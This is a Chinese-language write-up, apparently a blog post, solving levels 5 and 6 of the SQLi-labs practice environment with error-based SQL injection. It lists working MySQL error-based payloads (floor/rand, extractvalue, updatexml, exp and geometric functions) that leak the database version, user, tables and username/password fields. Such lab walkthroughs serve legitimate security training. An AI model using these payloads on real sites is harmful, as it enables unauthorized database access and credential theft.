废话不在多说 let's go!
开始挑战第五关(Double Query- Single Quotes- String)
和第六关(Double Query- Double Quotes- String)
首先访问我们的环境,加入id参数,输入 ' 出现报错,对报错信息进行分析
从上图很明显,直接利用单引号进行闭合,输入and 1=1 和1=2进行报错测试
继续使用order by进行查询字段,正确的为3个字段数
union select联合查询,加入-号进行报错,
靠,没有任何的反应,这就有有些触及知识盲区了,通过网站查询资料,发现可以使用报错函数进行注入,这里列出几个,都是从网上直接copy过来的
1.floor()
id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
2.extractvalue()
id = 1 and (extractvalue(1, concat(0x5c,(select user()))))
3.updatexml()
id = 1 and (updatexml(0x3a,concat(1,(select user())),1))
4.exp()
id =1 and EXP(~(SELECT * from(select user())a))
5.有六种函数(但总的来说可以归为一类)
GeometryCollection()
id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))
polygon()
id =1 AND polygon((select * from(select * from(select user())a)b))
multipoint()
id = 1 AND multipoint((select * from(select * from(select user())a)b))
multilinestring()
id = 1 AND multilinestring((select * from(select * from(select user())a)b))
linestring()
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))
multipolygon()
id =1 AND multipolygon((select * from(select * from(select user())a)b))
这里我采用floor函数进行测试,对里面的几个函数进行解释下,以下是自己做的笔记,这里我就不一一的去数据库进行测试了
既然有了sql语句,那就直接上了,查询版本,数据库
继续爆表名,这里采用limit一行一行的看
开始爆字段名,这里得到username和password
爆数据
第六关是一样的,采用双引号进行闭合即可,其他操作一致